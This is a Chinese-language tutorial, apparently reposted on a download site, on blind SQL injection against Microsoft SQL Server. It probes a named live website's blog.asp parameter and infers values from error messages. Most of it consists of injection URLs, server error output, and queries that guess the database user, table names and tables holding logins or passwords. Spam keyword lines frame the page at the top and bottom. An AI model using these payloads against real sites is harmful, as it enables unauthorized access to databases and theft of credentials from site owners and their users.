人人做人人澡人人爽欧美,国产主播一区二区,久久久精品五月天,羞羞视频在线观看免费

當前位置:蘿卜系統 > 網絡技術教程 > 詳細頁面

如何靈活地運用SQL Injection做數據庫滲透

如何靈活地運用SQL Injection做數據庫滲透

更新時間:2021-02-04 文章作者:未知 信息來源:網絡 閱讀次數:

網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。
如何靈活地運用SQL Injection做數據庫滲透的一種思路

如今,很多關于mssql數據庫的滲透技巧已不能有效地獲取有用的數據值。比如在一個懷疑是注入點的地方

www.xxxxx.com/blog.asp?id=4

當加入" ' "符號進行注入測試時,

www.xxxxx.com/blog.asp?id=4'

出錯信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4? to a column of data type int

我們知道它不對" ' "符號進行過濾。再用如下語句測試,

_blank>http://www.aquavelvas.com/blog.asp?id=4 and 1=1

出錯信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4 and 1=1' to a column of data type int

好,再來繼續測試,

_blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20'1'='1

這次出錯訊息不同了,如下

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and '

我們的" ' "符號加對了,再繼續測試,

_blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20user>'0

出錯信息如下,

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and user>'

應該是語法不允許直接回值,是不是不能再繼續了呢?想想其他辦法,就看user值的長度吧,

_blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20len(user)>'0

出錯信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and len(user)>'

好,我們知道如果出錯信息是Syntax error...或Either BOF or EOF is True...的話,那語句在邏輯上是錯的;而如果出錯信息是Incorrect syntax...的話,那語句在邏輯上就是對的。當處理len(user)>0,憑著剛才的想法,我們知道在邏輯上這是對的。

我們試試邏輯上錯的語句,

_blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20user%20'1'='2

果然,出錯信息是,

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record

從len(user)>0這語法的基礎上,我們得知user的長度是7,之后再用left(user,1)=a這語法來猜出user名是
thomasa。再用db_name()這個function,我們可猜出數據庫名。

好了,如何猜表名呢?就先猜表名的長度吧,

就用如下語句,

len(select top 1 name from sysobjects where xtype='U')>10
len(select top 1 name from sysobjects where xtype='U')>9
len(select top 1 name from sysobjects where xtype='U')>8
...

(猜表名的工作是很煩人,建議用perl寫個script來玩玩)

再猜表名,

left((select top 1 name from sysobjects where xtype='U'),1)=a
left((select top 1 name from sysobjects where xtype='U'),2)=ab
left((select top 1 name from sysobjects where xtype='U'),3)=abc
...

好了,我們知道第一個表名是'geoipcountrywhois' (知道為什么我建議寫個perl script吧!)

再繼續猜表名,

len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>10
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>9
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>8
...

left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=b
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=l
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=o
....

好第二個表名是blog,之后的表名可用('geoipcountrywhois','blog')來繼續猜,然而,這顯然不是好辦法。為什么我們不進行搜索呢?

如何搜索呢?就用如下的語句吧,

(select count(*) from sysobjects where xtype='U' and name like '%login%')=0
(select count(*) from sysobjects where xtype='U' and name like '%pass%')=0
(select count(*) from sysobjects where xtype='U' and name like '%key%')=0

(記得將" % "這符號換成" %25 "才是正確的輸入)

好了,通過邏輯上對或錯的判斷,我們也可以對數據庫進行滲透,不再局限于回彈顯示值。

希望這思路能開闊注入技術的演變。

網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。

溫馨提示:喜歡本站的話,請收藏一下本站!

本類教程下載

系統下載排行

網站地圖xml | 網站地圖html
主站蜘蛛池模板: 罗城| 庐江县| 无棣县| 贺州市| 永川市| 沐川县| 玛曲县| 贺兰县| 舞阳县| 古田县| 桃江县| 泰和县| 洪泽县| 新沂市| 卓资县| 兴隆县| 黎川县| 长治市| 广宁县| 佳木斯市| 前郭尔| 上蔡县| 张掖市| 枝江市| 富民县| 涿州市| 兴文县| 丹阳市| 靖远县| 东源县| 大埔县| 浙江省| 交口县| 迁安市| 长岛县| 永清县| 镇宁| 榕江县| 西宁市| 文成县| 赤水市|